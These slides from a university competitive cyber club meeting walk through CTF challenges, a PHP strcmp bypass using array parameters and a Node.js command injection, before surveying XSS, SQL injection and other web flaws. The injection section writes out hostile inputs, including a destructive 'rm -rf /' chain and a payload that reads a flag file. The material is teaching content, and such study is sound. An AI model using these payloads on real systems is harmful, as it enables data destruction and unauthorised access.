

# Mason Competitive Cyber Advanced Track





# What are we doing today?

- Roundtable
- Git PSA
- Some of the fun [ctf.competitivecyber.club](https://ctf.competitivecyber.club) problems
- DVWA
- Hackazon
  - A modern Damn Vulnerable Web App
    - Source: I literally contribute to DVWA
  - rapid7

**For next meeting/soon: Get an invite into [hackthebox.eu](https://hackthebox.eu)**

# Roundtable



- Do you have any questions about the club?
  - Who are we
  - What we do
  - How/How often
- What do you want to see out of club?
  - Sponsor-wise, format-wise, involvement and out-of-band wise
  - Content-wise
- Would you have interest in speaking?
  - Note we only can talk about topics theoretically CTF applicable
    - Especially no “soft topic” talks

# Slack Tools Discussion



1. We want to write tools as a club
2. We are working on where
  - `git.gmu.edu` likely candidate
3. Join **masoncc.slack.com**
  - Channel: `#gitgood`

# Fun Mason CC CTF problems



1. Minor back to school CTF online thrown
  - Really not that big, no prizes, 10 people or so
  - Beta test of FBCTF at large scale
2. Pretty decent problems

Problems:

1. PHP Requests
2. Node.js Command Injection

# PHP Requests



## 1. Source code provided, port and IP provided

```
<?php  
token passed in URL (as  
"GET" request) $token = $_GET['token'];  
expected token stored  
as string (text) $known = "realtokengoeshere";  
actual comparison  
if (strcmp($token, $known) == 0) {  
we need it to echo  
(display) flag, so  
we need to satisfy  
comparison echo "flagwouldbehere";  
}  
?>
```

---



# PHP on strcmp

What does PHP.net have to say about strcmp?

Seems fine, compares two strings, return 0 if equal

## strcmp

(PHP 4, PHP 5, PHP 7)

strcmp — Binary safe string comparison

### Description

```
int strcmp ( string $str1 , string $str2 )
```

Note that this comparison is case sensitive.

## Return Values

Returns < 0 if **str1** is less than **str2**; > 0 if **str1** is greater than **str2**, and 0 if they are equal.

# PHP devs on strcmp



What do PHP devs have to say about strcmp? (top comment)

▲ 59 ▼ jendoj at gmail dot com

5 years ago

If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.







# Passing non-string

## Send an Array with an HTTP Get



How can i send an Array with a HTTP Get request?

And, when the target server uses a **weak typed** language like PHP or RoR, then you need to suffix the parameter name with braces `[]` in order to trigger the language to return an array of values instead of a single value.

```
foo[]=value1&foo[]=value2&foo[]=value3
```

```
$foo = $_GET["foo"]; // [value1, value2, value3]  
echo is_array($foo); // true
```



# And... the result?

What happens when we actually pass this?

```
php > $string = 'Hello, Club!';  
php > $samplearray = ['a', 'b', 'c'];  
php > var_dump(strcmp($string, $samplearray));  
PHP Warning: strcmp() expects parameter 2 to be string, array given in php shell  
code on line 1
```

```
Warning: strcmp() expects parameter 2 to be string, array given in php shell cod  
e on line 1
```

NULL

And, when the target server uses a **weak typed** language like PHP or RoR, then you need to  
the parameter name with braces, [], in order to trigger the language to return an array of values

**Returns NULL**

**PHP is weak typed**

**NULL in PHP == true == 0**

# Hackazon/DVWA



Hackazon (less conventional, newer) IP: `http://34.230.46.149`

DVWA (easier, gives answers) IP: `http://34.230.46.149:81`

- Both dockerized
- Ask me for a reset

In DVWA, make sure you guess login/password **and set difficulty**

Credit: all-in-one-hackazon, dvwa was my own build

# Node.js Command Injection



Provided code, source, IP as well

I found this cool new site that does DNS lookups for you! I hope it's safe!

`http://54.196.33.90:1337/?args=gmu.edu`

# Pretext



Provided IP and port only

Zosman requested a JS problem

I found this cool new site that does DNS lookups for you! I hope it's safe!

`http://54.196.33.90:1337/?args=gmu.edu`

The response text is basically response text from the **dig** command

# Fuzzing



Literally does:

```
param = req.query['args'];  
require('child_process').exec('dig ' + param, function (err, data) {  
  res.send(data + err);  
});
```

Where param is what is passed to args

Expected:

But what about:

**dig && rm -rf /** or **dig; rm -rf /**

# Result:



Evil commands work, like:

- `http://[CTF box]:[port]/?args=gmu.edu;%20cat%20flag`
- ran **dig gmu.edu; cat flag**
- Runs DNS query on GMU, views **flag** file, then returns both results to browser

Ideally, would start with something like:

- `http://[CTF box]:[port]/?args=gmu.edu;ls`
- runs: **dig gmu.edu; ls**
- Runs DNS query, lists current folder, then returns both of those results



# More on Command Injection

- Useful for recon
- Good system security mitigates the damage you can do
  - Zybooks
- Might have weird limits in CTFs
  - Blind, character limit, etc
  - Becomes a Linux quiz
- **&& won't work in GET, & is used as separator in GET**
  - **Use ;**



# In Short:



**DON'T TRUST USER INPUT, VERIFY**

**DON'T TRUST THE BROWSER, VERIFY SERVER SIDE**

Plugging a PHP tutorial site:

<https://php.earth/doc/security/intro>

# XSS: Cross Site Scripting



- Common
- Attacker gives Javascript, Javascript runs on others browser
- Stored:
  - Stored in database, like username or bio
- Reflected:
  - Much less impact, can leverage trusted domain
- DOM Based:
  - Occurs on the client side by client side
    - Javascript, VBScript, etc executing bad Javascript

# SQL Injection



- Similar concept of command injection, instead of command, SQL command to manipulate database

A more technical-agnostic breakdown:

**owasp.org/index.php/SQL\_Injection**

A technical breakdown for all languages:

**bobby-tables.com**

# Others:



- CSRF
  - Cross Site Request Forgery
  - Go example
- Open Redirects
  - [Facebook did this previously](#)
- Server Side Includes
  - Trusting the user to not change “cat.jpg” to “.././.././../database\_passwords.php”
- Session hijacking
  - Less common in real world today
  - Session ID cookie, associated with login in backend, steal (with XSS?), profit
- etc, see **OWASP**
- **see OWASP Top 10**